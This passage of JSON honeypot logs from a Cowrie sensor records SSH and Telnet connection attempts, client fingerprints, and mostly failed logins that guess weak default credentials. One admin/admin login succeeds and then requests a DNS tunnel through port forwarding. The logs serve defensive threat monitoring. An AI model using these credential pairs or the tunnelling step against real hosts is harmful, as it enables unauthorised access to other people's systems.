{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":39508,"dst_ip":"159.203.135.109","dst_port":23,"session":"06db189136a9","protocol":"telnet","message":"New connection: 209.126.87.217:39508 (159.203.135.109:23) [session: 06db189136a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:27.319574Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":39512,"dst_ip":"159.203.135.109","dst_port":23,"session":"161ffe51edf8","protocol":"telnet","message":"New connection: 209.126.87.217:39512 (159.203.135.109:23) [session: 161ffe51edf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:27.704737Z"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.141.86","src_port":46714,"dst_ip":"159.203.135.109","dst_port":22,"session":"48a214e1f82b","protocol":"ssh","message":"New connection: 171.244.141.86:46714 (159.203.135.109:22) [session: 48a214e1f82b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:28.106868Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:28.111237Z","src_ip":"171.244.141.86","session":"48a214e1f82b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:28.361085Z","src_ip":"171.244.141.86","session":"48a214e1f82b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.31242609024048,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:28.469803Z","src_ip":"209.126.87.217","session":"1a506a7f2dbc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":39518,"dst_ip":"159.203.135.109","dst_port":23,"session":"8868dd910fe5","protocol":"telnet","message":"New connection: 209.126.87.217:39518 (159.203.135.109:23) [session: 8868dd910fe5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:28.474490Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Za123456","message":"login attempt [root/Za123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:29.383154Z","src_ip":"171.244.141.86","session":"48a214e1f82b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.2412006855011,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:30.411792Z","src_ip":"209.126.87.217","session":"40e7526606f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:30.633054Z","src_ip":"171.244.141.86","session":"48a214e1f82b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.01414108276367,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:32.452471Z","src_ip":"209.126.87.217","session":"4098df742e15","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52316,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e94defd8f93","protocol":"ssh","message":"New connection: 159.203.92.129:52316 (159.203.135.109:22) [session: 9e94defd8f93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:35.719071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:35.723962Z","src_ip":"159.203.92.129","session":"9e94defd8f93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:35.728357Z","src_ip":"159.203.92.129","session":"9e94defd8f93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"Qwer1234","message":"login attempt [ansible/Qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:35.738389Z","src_ip":"159.203.92.129","session":"9e94defd8f93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:36.745258Z","src_ip":"159.203.92.129","session":"9e94defd8f93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.176539182662964,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:38.205126Z","src_ip":"139.162.207.207","session":"e5e004811cb7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":58678,"dst_ip":"159.203.135.109","dst_port":23,"session":"48d03f69e293","protocol":"telnet","message":"New connection: 209.126.87.217:58678 (159.203.135.109:23) [session: 48d03f69e293]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:38.243853Z"}
{"eventid":"cowrie.session.closed","duration":39.43451523780823,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:39.316379Z","src_ip":"139.162.207.207","session":"2daec6069a3c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.403183698654175,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:39.645812Z","src_ip":"139.162.207.207","session":"9c9bd72d54a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.49474835395813,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:40.992131Z","src_ip":"209.126.87.217","session":"4a73de8f900d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.195.116.65","src_port":38656,"dst_ip":"10.17.0.5","dst_port":23,"session":"23a98d95a914","protocol":"telnet","message":"New connection: 194.195.116.65:38656 (10.17.0.5:23) [session: 23a98d95a914]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:42.791307Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.43.86.48","src_port":48608,"dst_ip":"10.17.0.5","dst_port":22,"session":"ebc88e3fdb8d","protocol":"ssh","message":"New connection: 45.43.86.48:48608 (10.17.0.5:22) [session: ebc88e3fdb8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:42.994064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:44.018350Z","src_ip":"45.43.86.48","session":"ebc88e3fdb8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:44.177123Z","src_ip":"45.43.86.48","session":"ebc88e3fdb8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.99611163139343,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:45.568266Z","src_ip":"139.162.207.207","session":"ac68eaa801a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":47920,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7b932635f78","protocol":"telnet","message":"New connection: 139.162.207.207:47920 (10.17.0.5:23) [session: b7b932635f78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:46.188668Z"}
{"eventid":"cowrie.login.failed","username":"bitnami","password":"bitnami@123","message":"login attempt [bitnami/bitnami@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:46.202543Z","src_ip":"45.43.86.48","session":"ebc88e3fdb8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.146.202.174","src_port":48296,"dst_ip":"159.203.135.109","dst_port":22,"session":"3dbf35b7c434","protocol":"ssh","message":"New connection: 103.146.202.174:48296 (159.203.135.109:22) [session: 3dbf35b7c434]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:47.328752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:47.333104Z","src_ip":"103.146.202.174","session":"3dbf35b7c434","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:47.490468Z","src_ip":"45.43.86.48","session":"ebc88e3fdb8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:47.595551Z","src_ip":"103.146.202.174","session":"3dbf35b7c434","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.140012741088867,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:48.571752Z","src_ip":"209.126.87.217","session":"e01bfadfce58","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":54400,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad6b76cf9f26","protocol":"telnet","message":"New connection: 209.126.87.217:54400 (159.203.135.109:23) [session: ad6b76cf9f26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:48.594569Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"123abc!","message":"login attempt [root/123abc!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:48.615884Z","src_ip":"103.146.202.174","session":"3dbf35b7c434","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.077316999435425,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:49.493995Z","src_ip":"209.126.87.217","session":"a024d235b292","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":54416,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a591a587d73","protocol":"telnet","message":"New connection: 209.126.87.217:54416 (159.203.135.109:23) [session: 9a591a587d73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:49.527869Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:49.865324Z","src_ip":"103.146.202.174","session":"3dbf35b7c434","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.92724108695984,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:50.385398Z","src_ip":"209.126.87.217","session":"ddfda68d7f85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.97641205787659,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:51.271646Z","src_ip":"209.126.87.217","session":"5253af23f803","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":50868,"dst_ip":"159.203.135.109","dst_port":23,"session":"0214f44a5ddb","protocol":"telnet","message":"New connection: 209.126.87.217:50868 (159.203.135.109:23) [session: 0214f44a5ddb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:52.269562Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":51852,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6f26af99b52","protocol":"ssh","message":"New connection: 87.251.64.176:51852 (10.17.0.5:22) [session: d6f26af99b52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:53.419720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:53.424272Z","src_ip":"87.251.64.176","session":"d6f26af99b52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:53.521725Z","src_ip":"87.251.64.176","session":"d6f26af99b52","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:53.810778Z","src_ip":"87.251.64.176","session":"d6f26af99b52","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:53.908918Z","session":"d6f26af99b52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.58482789993286,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:53.980958Z","src_ip":"139.162.207.207","session":"757a9429dbcf","protocol":"telnet"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:54.006439Z","src_ip":"87.251.64.176","session":"d6f26af99b52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":50276,"dst_ip":"10.17.0.5","dst_port":22,"session":"67c85ee15d5e","protocol":"ssh","message":"New connection: 80.94.92.182:50276 (10.17.0.5:22) [session: 67c85ee15d5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:54.073817Z"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:54.105183Z","src_ip":"87.251.64.176","session":"d6f26af99b52","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:54.219275Z","src_ip":"80.94.92.182","session":"67c85ee15d5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"co